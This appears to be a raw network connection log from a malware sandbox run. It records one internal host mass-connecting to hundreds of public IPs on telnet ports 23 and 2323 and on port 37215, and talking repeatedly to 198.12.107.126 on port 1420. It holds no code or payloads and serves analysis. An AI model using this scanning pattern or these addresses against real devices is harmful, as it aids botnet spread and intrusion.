Nov 3, 2024 15:37:09.495636940 CET	36201	23	192.168.2.14	92.66.8.128
Nov 3, 2024 15:37:09.495640039 CET	36201	23	192.168.2.14	80.68.133.103
Nov 3, 2024 15:37:09.495640039 CET	36201	2323	192.168.2.14	188.253.14.83
Nov 3, 2024 15:37:09.495640039 CET	36201	23	192.168.2.14	72.102.244.49
Nov 3, 2024 15:37:09.495644093 CET	36201	23	192.168.2.14	175.238.86.105
Nov 3, 2024 15:37:09.495645046 CET	36201	23	192.168.2.14	200.100.150.105
Nov 3, 2024 15:37:09.495645046 CET	36201	23	192.168.2.14	37.90.15.92
Nov 3, 2024 15:37:09.495650053 CET	36201	23	192.168.2.14	65.28.106.114
Nov 3, 2024 15:37:09.495652914 CET	36201	23	192.168.2.14	37.62.6.44
Nov 3, 2024 15:37:09.495656013 CET	36201	23	192.168.2.14	197.195.214.31
Nov 3, 2024 15:37:09.495661974 CET	36201	2323	192.168.2.14	58.110.77.225
Nov 3, 2024 15:37:09.495662928 CET	36201	23	192.168.2.14	40.175.70.207
Nov 3, 2024 15:37:09.495675087 CET	36201	23	192.168.2.14	141.153.52.127
Nov 3, 2024 15:37:09.495681047 CET	36201	23	192.168.2.14	159.169.184.171
Nov 3, 2024 15:37:09.495681047 CET	36201	23	192.168.2.14	75.52.123.200
Nov 3, 2024 15:37:09.495683908 CET	36201	23	192.168.2.14	60.219.115.92
Nov 3, 2024 15:37:09.495699883 CET	36201	23	192.168.2.14	174.104.85.76
Nov 3, 2024 15:37:09.495701075 CET	36201	23	192.168.2.14	221.235.84.234
Nov 3, 2024 15:37:09.495701075 CET	36201	23	192.168.2.14	211.165.93.100
Nov 3, 2024 15:37:09.495702028 CET	36201	23	192.168.2.14	139.203.251.17
Nov 3, 2024 15:37:09.495712042 CET	36201	23	192.168.2.14	4.93.70.59
Nov 3, 2024 15:37:09.495718956 CET	36201	2323	192.168.2.14	34.243.77.164
Nov 3, 2024 15:37:09.495724916 CET	36201	23	192.168.2.14	80.36.4.113
Nov 3, 2024 15:37:09.495727062 CET	36201	23	192.168.2.14	159.29.255.42
Nov 3, 2024 15:37:09.495738983 CET	36201	23	192.168.2.14	184.96.44.70
Nov 3, 2024 15:37:09.495743990 CET	36201	23	192.168.2.14	65.71.5.116
Nov 3, 2024 15:37:09.495750904 CET	36201	23	192.168.2.14	8.102.159.77
Nov 3, 2024 15:37:09.495750904 CET	36201	23	192.168.2.14	124.98.62.169
Nov 3, 2024 15:37:09.495767117 CET	36201	23	192.168.2.14	221.177.8.190
Nov 3, 2024 15:37:09.495769024 CET	36201	23	192.168.2.14	166.69.168.239
Nov 3, 2024 15:37:09.495769024 CET	36201	23	192.168.2.14	48.177.51.130
Nov 3, 2024 15:37:09.495769024 CET	36201	2323	192.168.2.14	58.201.201.104
Nov 3, 2024 15:37:09.495769024 CET	36201	23	192.168.2.14	32.10.176.217
Nov 3, 2024 15:37:09.495776892 CET	36201	23	192.168.2.14	73.197.165.245
Nov 3, 2024 15:37:09.495788097 CET	36201	23	192.168.2.14	87.120.173.198
Nov 3, 2024 15:37:09.495794058 CET	36201	23	192.168.2.14	176.70.3.212
Nov 3, 2024 15:37:09.495796919 CET	36201	23	192.168.2.14	164.134.227.74
Nov 3, 2024 15:37:09.495796919 CET	36201	23	192.168.2.14	32.170.180.223
Nov 3, 2024 15:37:09.495806932 CET	36201	23	192.168.2.14	27.127.38.250
Nov 3, 2024 15:37:09.495810032 CET	36201	23	192.168.2.14	94.30.235.216
Nov 3, 2024 15:37:09.495814085 CET	36201	23	192.168.2.14	74.195.8.88
Nov 3, 2024 15:37:09.495825052 CET	36201	2323	192.168.2.14	188.241.4.248
Nov 3, 2024 15:37:09.495827913 CET	36201	23	192.168.2.14	113.186.136.176
Nov 3, 2024 15:37:09.495837927 CET	36201	23	192.168.2.14	206.5.33.118
Nov 3, 2024 15:37:09.495841026 CET	36201	23	192.168.2.14	115.157.121.51
Nov 3, 2024 15:37:09.495855093 CET	36201	23	192.168.2.14	81.153.108.39
Nov 3, 2024 15:37:09.495857000 CET	36201	23	192.168.2.14	76.206.212.52
Nov 3, 2024 15:37:09.495857000 CET	36201	23	192.168.2.14	92.130.167.250
Nov 3, 2024 15:37:09.495860100 CET	36201	23	192.168.2.14	169.8.40.8
Nov 3, 2024 15:37:09.495867014 CET	36201	23	192.168.2.14	107.218.9.80
Nov 3, 2024 15:37:09.495872974 CET	36201	23	192.168.2.14	220.197.144.49
Nov 3, 2024 15:37:09.495887041 CET	36201	2323	192.168.2.14	41.114.1.225
Nov 3, 2024 15:37:09.495887995 CET	36201	23	192.168.2.14	77.103.76.12
Nov 3, 2024 15:37:09.495887995 CET	36201	23	192.168.2.14	169.240.93.128
Nov 3, 2024 15:37:09.495903969 CET	36201	23	192.168.2.14	88.89.242.254
Nov 3, 2024 15:37:09.495906115 CET	36201	23	192.168.2.14	9.12.141.193
Nov 3, 2024 15:37:09.495907068 CET	36201	23	192.168.2.14	191.180.151.217
Nov 3, 2024 15:37:09.495907068 CET	36201	23	192.168.2.14	81.23.166.177
Nov 3, 2024 15:37:09.495910883 CET	36201	23	192.168.2.14	179.13.101.233
Nov 3, 2024 15:37:09.495910883 CET	36201	23	192.168.2.14	122.202.60.120
Nov 3, 2024 15:37:09.495919943 CET	36201	23	192.168.2.14	223.90.140.11
Nov 3, 2024 15:37:09.495925903 CET	36201	23	192.168.2.14	40.24.2.88
Nov 3, 2024 15:37:09.495925903 CET	36201	2323	192.168.2.14	144.45.166.166
Nov 3, 2024 15:37:09.495925903 CET	36201	23	192.168.2.14	125.157.255.159
Nov 3, 2024 15:37:09.495934963 CET	36201	23	192.168.2.14	95.13.25.227
Nov 3, 2024 15:37:09.495938063 CET	36201	23	192.168.2.14	76.245.138.247
Nov 3, 2024 15:37:09.495946884 CET	36201	23	192.168.2.14	133.225.45.102
Nov 3, 2024 15:37:09.495948076 CET	36201	23	192.168.2.14	79.85.95.37
Nov 3, 2024 15:37:09.495949030 CET	36201	23	192.168.2.14	207.206.30.190
Nov 3, 2024 15:37:09.495949030 CET	36201	23	192.168.2.14	46.108.3.63
Nov 3, 2024 15:37:09.495978117 CET	36201	2323	192.168.2.14	221.36.110.129
Nov 3, 2024 15:37:09.495978117 CET	36201	23	192.168.2.14	186.23.170.99
Nov 3, 2024 15:37:09.495979071 CET	36201	23	192.168.2.14	156.14.224.233
Nov 3, 2024 15:37:09.495978117 CET	36201	23	192.168.2.14	20.139.112.111
Nov 3, 2024 15:37:09.495980024 CET	36201	23	192.168.2.14	205.137.14.252
Nov 3, 2024 15:37:09.495980024 CET	36201	23	192.168.2.14	38.108.158.130
Nov 3, 2024 15:37:09.495980024 CET	36201	23	192.168.2.14	173.107.1.189
Nov 3, 2024 15:37:09.495980978 CET	36201	23	192.168.2.14	42.96.172.253
Nov 3, 2024 15:37:09.495980978 CET	36201	23	192.168.2.14	163.147.146.14
Nov 3, 2024 15:37:09.495986938 CET	36201	23	192.168.2.14	180.195.235.195
Nov 3, 2024 15:37:09.495990038 CET	36201	2323	192.168.2.14	112.243.141.61
Nov 3, 2024 15:37:09.495990038 CET	36201	23	192.168.2.14	13.136.176.165
Nov 3, 2024 15:37:09.495992899 CET	36201	23	192.168.2.14	111.198.160.193
Nov 3, 2024 15:37:09.495992899 CET	36201	23	192.168.2.14	48.215.204.148
Nov 3, 2024 15:37:09.495994091 CET	36201	23	192.168.2.14	32.166.233.222
Nov 3, 2024 15:37:09.495992899 CET	36201	23	192.168.2.14	117.234.96.38
Nov 3, 2024 15:37:09.495995998 CET	36201	23	192.168.2.14	119.91.68.96
Nov 3, 2024 15:37:09.495995998 CET	36201	23	192.168.2.14	122.238.132.136
Nov 3, 2024 15:37:09.495995998 CET	36201	23	192.168.2.14	69.202.97.191
Nov 3, 2024 15:37:09.495995998 CET	36201	23	192.168.2.14	133.200.171.47
Nov 3, 2024 15:37:09.496001959 CET	36201	23	192.168.2.14	147.55.205.54
Nov 3, 2024 15:37:09.496014118 CET	36201	2323	192.168.2.14	218.135.239.205
Nov 3, 2024 15:37:09.496016979 CET	36201	23	192.168.2.14	188.167.110.85
Nov 3, 2024 15:37:09.496016979 CET	36201	23	192.168.2.14	169.160.78.62
Nov 3, 2024 15:37:09.496018887 CET	36201	23	192.168.2.14	133.178.255.246
Nov 3, 2024 15:37:09.496028900 CET	36201	23	192.168.2.14	113.218.232.139
Nov 3, 2024 15:37:09.496033907 CET	36201	23	192.168.2.14	212.249.154.51
Nov 3, 2024 15:37:09.496042967 CET	36201	23	192.168.2.14	121.24.254.63
Nov 3, 2024 15:37:09.496045113 CET	36201	23	192.168.2.14	68.83.210.113
Nov 3, 2024 15:37:09.496047974 CET	36201	23	192.168.2.14	121.111.225.15
Nov 3, 2024 15:37:09.496052027 CET	36201	23	192.168.2.14	191.33.204.107
Nov 3, 2024 15:37:09.497612953 CET	34482	23	192.168.2.14	91.194.136.78
Nov 3, 2024 15:37:09.497613907 CET	35862	23	192.168.2.14	194.195.119.223
Nov 3, 2024 15:37:09.497617960 CET	37012	23	192.168.2.14	115.213.254.52
Nov 3, 2024 15:37:09.497617960 CET	53180	23	192.168.2.14	58.248.159.67
Nov 3, 2024 15:37:09.497617960 CET	57452	23	192.168.2.14	65.106.77.236
Nov 3, 2024 15:37:09.497622967 CET	48030	2323	192.168.2.14	204.135.188.133
Nov 3, 2024 15:37:09.497625113 CET	49980	23	192.168.2.14	190.101.205.167
Nov 3, 2024 15:37:09.497627974 CET	38196	23	192.168.2.14	14.84.132.26
Nov 3, 2024 15:37:09.497637987 CET	42398	23	192.168.2.14	54.121.110.247
Nov 3, 2024 15:37:09.497637987 CET	48932	23	192.168.2.14	154.146.183.93
Nov 3, 2024 15:37:09.497643948 CET	47440	23	192.168.2.14	59.73.242.243
Nov 3, 2024 15:37:09.497644901 CET	59864	23	192.168.2.14	95.95.105.118
Nov 3, 2024 15:37:09.497646093 CET	47320	23	192.168.2.14	200.43.66.135
Nov 3, 2024 15:37:09.497654915 CET	45876	23	192.168.2.14	70.41.158.155
Nov 3, 2024 15:37:09.497657061 CET	39692	23	192.168.2.14	4.236.6.211
Nov 3, 2024 15:37:09.497657061 CET	52970	23	192.168.2.14	86.153.95.87
Nov 3, 2024 15:37:09.497665882 CET	51688	2323	192.168.2.14	111.189.209.189
Nov 3, 2024 15:37:09.497668028 CET	37296	23	192.168.2.14	12.229.181.141
Nov 3, 2024 15:37:09.497672081 CET	58914	23	192.168.2.14	46.254.41.21
Nov 3, 2024 15:37:09.497678995 CET	38786	23	192.168.2.14	58.180.112.255
Nov 3, 2024 15:37:09.497685909 CET	53452	23	192.168.2.14	133.246.198.193
Nov 3, 2024 15:37:09.497687101 CET	41050	23	192.168.2.14	14.48.137.200
Nov 3, 2024 15:37:09.497687101 CET	43526	23	192.168.2.14	220.79.181.27
Nov 3, 2024 15:37:09.497693062 CET	36358	23	192.168.2.14	17.161.80.63
Nov 3, 2024 15:37:09.497705936 CET	36334	23	192.168.2.14	112.36.219.79
Nov 3, 2024 15:37:09.497709036 CET	49206	23	192.168.2.14	94.211.102.37
Nov 3, 2024 15:37:09.497709036 CET	56688	2323	192.168.2.14	40.29.69.57
Nov 3, 2024 15:37:09.497709036 CET	42236	23	192.168.2.14	192.101.222.212
Nov 3, 2024 15:37:09.497709036 CET	53512	23	192.168.2.14	76.151.198.48
Nov 3, 2024 15:37:09.497709036 CET	49122	23	192.168.2.14	158.111.45.20
Nov 3, 2024 15:37:09.497716904 CET	57724	23	192.168.2.14	182.18.189.14
Nov 3, 2024 15:37:09.497720003 CET	47002	23	192.168.2.14	200.73.4.192
Nov 3, 2024 15:37:09.497720003 CET	59010	23	192.168.2.14	194.111.203.19
Nov 3, 2024 15:37:09.497726917 CET	52990	23	192.168.2.14	163.66.150.50
Nov 3, 2024 15:37:09.497729063 CET	39422	23	192.168.2.14	216.154.32.150
Nov 3, 2024 15:37:09.497730017 CET	41012	23	192.168.2.14	83.75.122.68
Nov 3, 2024 15:37:09.497744083 CET	53916	2323	192.168.2.14	211.187.163.172
Nov 3, 2024 15:37:09.497744083 CET	48052	23	192.168.2.14	189.9.147.99
Nov 3, 2024 15:37:09.497745991 CET	33036	23	192.168.2.14	53.6.227.181
Nov 3, 2024 15:37:09.497745991 CET	60436	23	192.168.2.14	40.202.230.225
Nov 3, 2024 15:37:09.497747898 CET	58872	23	192.168.2.14	53.179.182.227
Nov 3, 2024 15:37:09.497747898 CET	56592	23	192.168.2.14	113.166.236.48
Nov 3, 2024 15:37:09.497755051 CET	40052	23	192.168.2.14	198.149.119.126
Nov 3, 2024 15:37:09.497755051 CET	49458	23	192.168.2.14	117.187.252.252
Nov 3, 2024 15:37:09.497756958 CET	56568	23	192.168.2.14	113.146.176.7
Nov 3, 2024 15:37:09.497757912 CET	41704	23	192.168.2.14	72.148.227.215
Nov 3, 2024 15:37:09.497764111 CET	60848	23	192.168.2.14	46.111.118.134
Nov 3, 2024 15:37:09.497765064 CET	57456	23	192.168.2.14	111.32.97.128
Nov 3, 2024 15:37:09.497771978 CET	56258	23	192.168.2.14	19.66.87.102
Nov 3, 2024 15:37:09.497773886 CET	34096	2323	192.168.2.14	123.238.12.9
Nov 3, 2024 15:37:09.497780085 CET	58420	23	192.168.2.14	190.15.21.214
Nov 3, 2024 15:37:09.497781038 CET	58238	23	192.168.2.14	217.172.159.38
Nov 3, 2024 15:37:09.497791052 CET	46656	23	192.168.2.14	93.77.214.197
Nov 3, 2024 15:37:09.497796059 CET	33182	23	192.168.2.14	102.73.14.35
Nov 3, 2024 15:37:09.497796059 CET	53380	2323	192.168.2.14	176.239.168.154
Nov 3, 2024 15:37:09.497798920 CET	42408	37215	192.168.2.14	156.7.194.104
Nov 3, 2024 15:37:09.497797012 CET	54354	23	192.168.2.14	97.181.70.209
Nov 3, 2024 15:37:09.497798920 CET	40258	23	192.168.2.14	204.30.145.134
Nov 3, 2024 15:37:09.497807980 CET	43946	23	192.168.2.14	177.104.152.31
Nov 3, 2024 15:37:09.497807980 CET	59506	23	192.168.2.14	213.78.197.207
Nov 3, 2024 15:37:09.497816086 CET	55274	23	192.168.2.14	149.96.22.119
Nov 3, 2024 15:37:09.497817993 CET	40206	23	192.168.2.14	48.166.71.75
Nov 3, 2024 15:37:09.497823954 CET	48362	23	192.168.2.14	34.114.183.65
Nov 3, 2024 15:37:09.497828960 CET	47030	23	192.168.2.14	193.35.112.167
Nov 3, 2024 15:37:09.497829914 CET	53068	23	192.168.2.14	220.201.163.92
Nov 3, 2024 15:37:09.497842073 CET	41168	23	192.168.2.14	194.211.140.76
Nov 3, 2024 15:37:09.497842073 CET	53708	23	192.168.2.14	89.178.158.237
Nov 3, 2024 15:37:09.497848988 CET	50218	23	192.168.2.14	34.92.143.149
Nov 3, 2024 15:37:09.497853994 CET	40172	23	192.168.2.14	167.166.144.245
Nov 3, 2024 15:37:09.497853994 CET	53450	2323	192.168.2.14	98.140.174.214
Nov 3, 2024 15:37:09.497853994 CET	34908	23	192.168.2.14	101.46.247.29
Nov 3, 2024 15:37:09.497853994 CET	49716	23	192.168.2.14	125.253.59.164
Nov 3, 2024 15:37:09.497855902 CET	60842	23	192.168.2.14	77.107.154.14
Nov 3, 2024 15:37:09.497853994 CET	53620	23	192.168.2.14	158.98.248.155
Nov 3, 2024 15:37:09.497853994 CET	60544	23	192.168.2.14	104.70.203.187
Nov 3, 2024 15:37:09.497859955 CET	57798	23	192.168.2.14	156.65.37.226
Nov 3, 2024 15:37:09.497859955 CET	53596	23	192.168.2.14	186.158.159.146
Nov 3, 2024 15:37:09.497862101 CET	33056	23	192.168.2.14	37.47.89.15
Nov 3, 2024 15:37:09.497862101 CET	42600	2323	192.168.2.14	173.123.4.216
Nov 3, 2024 15:37:09.497872114 CET	51836	23	192.168.2.14	48.53.153.29
Nov 3, 2024 15:37:09.497874022 CET	48924	23	192.168.2.14	144.24.164.98
Nov 3, 2024 15:37:09.497874975 CET	44274	23	192.168.2.14	35.107.7.74
Nov 3, 2024 15:37:09.497879028 CET	48914	23	192.168.2.14	62.98.53.29
Nov 3, 2024 15:37:09.497879982 CET	42394	23	192.168.2.14	4.246.132.96
Nov 3, 2024 15:37:09.497879982 CET	58904	23	192.168.2.14	193.225.59.23
Nov 3, 2024 15:37:09.497879028 CET	57410	23	192.168.2.14	110.104.107.135
Nov 3, 2024 15:37:09.497884035 CET	39610	23	192.168.2.14	217.133.166.36
Nov 3, 2024 15:37:09.497884035 CET	56568	2323	192.168.2.14	42.44.11.242
Nov 3, 2024 15:37:09.497888088 CET	43356	23	192.168.2.14	223.189.226.43
Nov 3, 2024 15:37:09.497888088 CET	50484	23	192.168.2.14	195.40.216.94
Nov 3, 2024 15:37:09.497889042 CET	47118	23	192.168.2.14	57.65.200.63
Nov 3, 2024 15:37:09.497891903 CET	37850	23	192.168.2.14	188.106.7.94
Nov 3, 2024 15:37:09.497900009 CET	36778	23	192.168.2.14	220.175.15.213
Nov 3, 2024 15:37:09.497900963 CET	40080	23	192.168.2.14	95.7.248.48
Nov 3, 2024 15:37:09.497910023 CET	33202	23	192.168.2.14	147.167.150.68
Nov 3, 2024 15:37:09.497914076 CET	39090	2323	192.168.2.14	124.199.53.187
Nov 3, 2024 15:37:09.497915983 CET	59324	23	192.168.2.14	19.21.233.59
Nov 3, 2024 15:37:09.497924089 CET	59262	23	192.168.2.14	92.244.50.65
Nov 3, 2024 15:37:09.497924089 CET	52076	23	192.168.2.14	158.59.156.239
Nov 3, 2024 15:37:09.497924089 CET	40568	23	192.168.2.14	187.103.207.15
Nov 3, 2024 15:37:09.497926950 CET	53244	23	192.168.2.14	27.253.80.216
Nov 3, 2024 15:37:09.497926950 CET	51304	23	192.168.2.14	154.32.50.30
Nov 3, 2024 15:37:09.497930050 CET	60726	23	192.168.2.14	47.253.35.131
Nov 3, 2024 15:37:09.497930050 CET	59170	23	192.168.2.14	71.134.193.73
Nov 3, 2024 15:37:09.497931957 CET	36068	23	192.168.2.14	211.194.75.181
Nov 3, 2024 15:37:09.497941017 CET	44186	2323	192.168.2.14	2.242.225.206
Nov 3, 2024 15:37:09.497941017 CET	52566	23	192.168.2.14	108.3.230.119
Nov 3, 2024 15:37:09.497941971 CET	33462	23	192.168.2.14	69.81.122.152
Nov 3, 2024 15:37:09.497945070 CET	36614	23	192.168.2.14	167.176.177.179
Nov 3, 2024 15:37:09.497947931 CET	50518	23	192.168.2.14	73.99.18.24
Nov 3, 2024 15:37:09.497947931 CET	47862	23	192.168.2.14	114.132.2.196
Nov 3, 2024 15:37:09.497951031 CET	44700	23	192.168.2.14	159.37.133.208
Nov 3, 2024 15:37:09.497955084 CET	53350	23	192.168.2.14	126.33.229.198
Nov 3, 2024 15:37:09.497961044 CET	34810	23	192.168.2.14	179.64.170.171
Nov 3, 2024 15:37:09.497961998 CET	56960	23	192.168.2.14	158.253.61.118
Nov 3, 2024 15:37:09.497961998 CET	34750	23	192.168.2.14	211.143.98.145
Nov 3, 2024 15:37:09.497961998 CET	54146	23	192.168.2.14	18.29.13.143
Nov 3, 2024 15:37:09.497961998 CET	59242	23	192.168.2.14	14.65.113.88
Nov 3, 2024 15:37:09.497961998 CET	37218	2323	192.168.2.14	1.12.84.67
Nov 3, 2024 15:37:09.497961998 CET	34760	23	192.168.2.14	158.34.240.117
Nov 3, 2024 15:37:09.497963905 CET	44140	23	192.168.2.14	142.128.214.133
Nov 3, 2024 15:37:09.497963905 CET	56978	23	192.168.2.14	205.217.233.80
Nov 3, 2024 15:37:09.497967005 CET	44506	23	192.168.2.14	107.119.15.67
Nov 3, 2024 15:37:09.497972012 CET	36900	37215	192.168.2.14	197.74.243.23
Nov 3, 2024 15:37:09.497972012 CET	35776	37215	192.168.2.14	156.201.202.122
Nov 3, 2024 15:37:09.497972965 CET	48452	23	192.168.2.14	181.52.98.68
Nov 3, 2024 15:37:09.497975111 CET	33130	37215	192.168.2.14	197.152.148.149
Nov 3, 2024 15:37:09.497976065 CET	38820	23	192.168.2.14	5.71.100.114
Nov 3, 2024 15:37:09.497976065 CET	47718	37215	192.168.2.14	41.253.117.242
Nov 3, 2024 15:37:09.497982025 CET	60604	37215	192.168.2.14	197.127.15.67
Nov 3, 2024 15:37:09.497982979 CET	45144	23	192.168.2.14	160.89.255.184
Nov 3, 2024 15:37:09.497982979 CET	57350	37215	192.168.2.14	156.178.245.151
Nov 3, 2024 15:37:09.497982979 CET	46700	37215	192.168.2.14	41.20.5.150
Nov 3, 2024 15:37:09.497982979 CET	45840	37215	192.168.2.14	197.4.84.67
Nov 3, 2024 15:37:09.497982979 CET	36084	37215	192.168.2.14	197.7.120.21
Nov 3, 2024 15:37:09.497982979 CET	51738	37215	192.168.2.14	41.56.133.109
Nov 3, 2024 15:37:09.497986078 CET	57936	37215	192.168.2.14	197.43.82.24
Nov 3, 2024 15:37:09.497986078 CET	50054	37215	192.168.2.14	41.228.42.126
Nov 3, 2024 15:37:09.497987032 CET	44706	37215	192.168.2.14	41.118.32.70
Nov 3, 2024 15:37:09.497987032 CET	40446	37215	192.168.2.14	41.85.120.162
Nov 3, 2024 15:37:09.497994900 CET	59496	37215	192.168.2.14	197.147.6.122
Nov 3, 2024 15:37:09.497994900 CET	44242	37215	192.168.2.14	197.213.53.56
Nov 3, 2024 15:37:09.497994900 CET	45462	37215	192.168.2.14	197.180.110.71
Nov 3, 2024 15:37:09.498003960 CET	46938	37215	192.168.2.14	197.250.124.146
Nov 3, 2024 15:37:09.498004913 CET	38506	37215	192.168.2.14	41.145.248.74
Nov 3, 2024 15:37:09.498004913 CET	57174	37215	192.168.2.14	156.198.165.118
Nov 3, 2024 15:37:09.498004913 CET	50528	37215	192.168.2.14	41.22.236.138
Nov 3, 2024 15:37:09.498006105 CET	58748	37215	192.168.2.14	197.60.154.142
Nov 3, 2024 15:37:09.498019934 CET	55634	37215	192.168.2.14	197.74.217.151
Nov 3, 2024 15:37:09.498023033 CET	60010	37215	192.168.2.14	41.88.174.183
Nov 3, 2024 15:37:09.498024940 CET	59162	37215	192.168.2.14	41.170.28.241
Nov 3, 2024 15:37:09.498024940 CET	42774	37215	192.168.2.14	41.60.20.249
Nov 3, 2024 15:37:09.498024940 CET	49958	37215	192.168.2.14	156.231.92.232
Nov 3, 2024 15:37:09.498028040 CET	60482	37215	192.168.2.14	41.205.138.252
Nov 3, 2024 15:37:09.498028040 CET	56260	37215	192.168.2.14	41.151.17.247
Nov 3, 2024 15:37:09.498028040 CET	48330	37215	192.168.2.14	197.52.180.114
Nov 3, 2024 15:37:09.498035908 CET	48398	37215	192.168.2.14	197.203.30.80
Nov 3, 2024 15:37:09.498037100 CET	45636	37215	192.168.2.14	156.6.240.146
Nov 3, 2024 15:37:09.498038054 CET	60024	37215	192.168.2.14	41.7.176.72
Nov 3, 2024 15:37:09.498045921 CET	52090	37215	192.168.2.14	41.54.97.120
Nov 3, 2024 15:37:09.498049021 CET	60990	37215	192.168.2.14	197.101.24.187
Nov 3, 2024 15:37:09.498058081 CET	49894	37215	192.168.2.14	156.82.171.243
Nov 3, 2024 15:37:09.498059034 CET	34450	37215	192.168.2.14	41.76.90.76
Nov 3, 2024 15:37:09.498064041 CET	51090	37215	192.168.2.14	197.186.94.152
Nov 3, 2024 15:37:09.498064041 CET	45912	37215	192.168.2.14	156.3.68.118
Nov 3, 2024 15:37:09.498070002 CET	44948	37215	192.168.2.14	197.221.48.42
Nov 3, 2024 15:37:09.498071909 CET	58780	37215	192.168.2.14	156.240.132.73
Nov 3, 2024 15:37:09.498075008 CET	59612	37215	192.168.2.14	41.210.172.220
Nov 3, 2024 15:37:09.498080969 CET	42210	37215	192.168.2.14	41.156.187.190
Nov 3, 2024 15:37:09.498085022 CET	33942	37215	192.168.2.14	197.3.226.84
Nov 3, 2024 15:37:09.498084068 CET	58094	37215	192.168.2.14	41.244.244.133
Nov 3, 2024 15:37:09.498089075 CET	42860	37215	192.168.2.14	197.58.202.7
Nov 3, 2024 15:37:09.498096943 CET	42078	37215	192.168.2.14	41.183.20.101
Nov 3, 2024 15:37:09.498097897 CET	56916	37215	192.168.2.14	41.222.185.122
Nov 3, 2024 15:37:09.498097897 CET	58048	37215	192.168.2.14	41.165.77.206
Nov 3, 2024 15:37:09.498099089 CET	47388	37215	192.168.2.14	156.134.113.99
Nov 3, 2024 15:37:09.498106003 CET	51830	37215	192.168.2.14	197.83.38.26
Nov 3, 2024 15:37:09.498106956 CET	40800	37215	192.168.2.14	197.156.175.111
Nov 3, 2024 15:37:09.498115063 CET	46196	37215	192.168.2.14	197.152.142.106
Nov 3, 2024 15:37:09.498116016 CET	40290	37215	192.168.2.14	156.89.176.60
Nov 3, 2024 15:37:09.498119116 CET	55190	37215	192.168.2.14	197.150.58.29
Nov 3, 2024 15:37:09.498126030 CET	53708	37215	192.168.2.14	41.10.157.251
Nov 3, 2024 15:37:09.498126030 CET	41514	37215	192.168.2.14	156.13.60.154
Nov 3, 2024 15:37:09.498127937 CET	54724	37215	192.168.2.14	197.194.109.22
Nov 3, 2024 15:37:09.498131037 CET	52910	37215	192.168.2.14	41.151.65.83
Nov 3, 2024 15:37:09.498138905 CET	54518	37215	192.168.2.14	197.121.220.202
Nov 3, 2024 15:37:09.498142958 CET	33292	37215	192.168.2.14	156.52.237.20
Nov 3, 2024 15:37:09.500339031 CET	2323	36201	63.163.23.69	192.168.2.14
Nov 3, 2024 15:37:09.500349998 CET	23	36201	198.215.158.61	192.168.2.14
Nov 3, 2024 15:37:09.500379086 CET	36201	2323	192.168.2.14	63.163.23.69
Nov 3, 2024 15:37:09.500391960 CET	36201	23	192.168.2.14	198.215.158.61
Nov 3, 2024 15:37:10.315701008 CET	1420	33980	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:10.315804958 CET	33980	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:10.315910101 CET	33980	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:10.323010921 CET	34172	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:10.327837944 CET	1420	34172	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:10.327905893 CET	34172	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:10.327928066 CET	34172	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:10.332771063 CET	1420	34172	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:10.332813025 CET	34172	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:10.337642908 CET	1420	34172	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:10.476146936 CET	35945	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:10.476150990 CET	35945	37215	192.168.2.14	156.158.10.106
Nov 3, 2024 15:37:10.476157904 CET	35945	37215	192.168.2.14	197.57.47.108
Nov 3, 2024 15:37:10.476157904 CET	35945	37215	192.168.2.14	197.155.149.193
Nov 3, 2024 15:37:10.476171017 CET	35945	37215	192.168.2.14	156.19.67.245
Nov 3, 2024 15:37:10.476171970 CET	35945	37215	192.168.2.14	197.32.160.86
Nov 3, 2024 15:37:10.476171970 CET	35945	37215	192.168.2.14	156.45.29.191
Nov 3, 2024 15:37:10.476172924 CET	35945	37215	192.168.2.14	41.145.72.84
Nov 3, 2024 15:37:10.476171970 CET	35945	37215	192.168.2.14	41.34.217.250
Nov 3, 2024 15:37:10.476171970 CET	35945	37215	192.168.2.14	197.201.29.247
Nov 3, 2024 15:37:10.476171970 CET	35945	37215	192.168.2.14	197.169.251.192
Nov 3, 2024 15:37:10.476182938 CET	35945	37215	192.168.2.14	197.246.20.219
Nov 3, 2024 15:37:10.476182938 CET	35945	37215	192.168.2.14	41.59.227.239
Nov 3, 2024 15:37:10.476190090 CET	35945	37215	192.168.2.14	197.166.160.44
Nov 3, 2024 15:37:10.476191044 CET	35945	37215	192.168.2.14	156.9.185.141
Nov 3, 2024 15:37:10.476191044 CET	35945	37215	192.168.2.14	41.232.55.15
Nov 3, 2024 15:37:10.476198912 CET	35945	37215	192.168.2.14	41.248.158.138
Nov 3, 2024 15:37:10.476207972 CET	35945	37215	192.168.2.14	156.93.148.101
Nov 3, 2024 15:37:10.476211071 CET	35945	37215	192.168.2.14	156.93.77.174
Nov 3, 2024 15:37:10.476218939 CET	35945	37215	192.168.2.14	197.240.139.89
Nov 3, 2024 15:37:10.476224899 CET	35945	37215	192.168.2.14	41.255.69.164
Nov 3, 2024 15:37:10.476227045 CET	35945	37215	192.168.2.14	41.29.236.19
Nov 3, 2024 15:37:10.476227045 CET	35945	37215	192.168.2.14	197.49.176.109
Nov 3, 2024 15:37:10.476227045 CET	35945	37215	192.168.2.14	197.65.111.70
Nov 3, 2024 15:37:10.476243019 CET	35945	37215	192.168.2.14	41.62.246.27
Nov 3, 2024 15:37:10.476243019 CET	35945	37215	192.168.2.14	197.207.5.65
Nov 3, 2024 15:37:10.476247072 CET	35945	37215	192.168.2.14	156.141.79.35
Nov 3, 2024 15:37:10.476247072 CET	35945	37215	192.168.2.14	197.29.182.21
Nov 3, 2024 15:37:10.476258039 CET	35945	37215	192.168.2.14	197.252.73.76
Nov 3, 2024 15:37:10.476258993 CET	35945	37215	192.168.2.14	156.156.146.77
Nov 3, 2024 15:37:10.476262093 CET	35945	37215	192.168.2.14	41.25.77.101
Nov 3, 2024 15:37:10.476267099 CET	35945	37215	192.168.2.14	197.75.119.220
Nov 3, 2024 15:37:10.476277113 CET	35945	37215	192.168.2.14	41.12.136.222
Nov 3, 2024 15:37:10.476279020 CET	35945	37215	192.168.2.14	41.172.131.133
Nov 3, 2024 15:37:10.476281881 CET	35945	37215	192.168.2.14	41.172.205.85
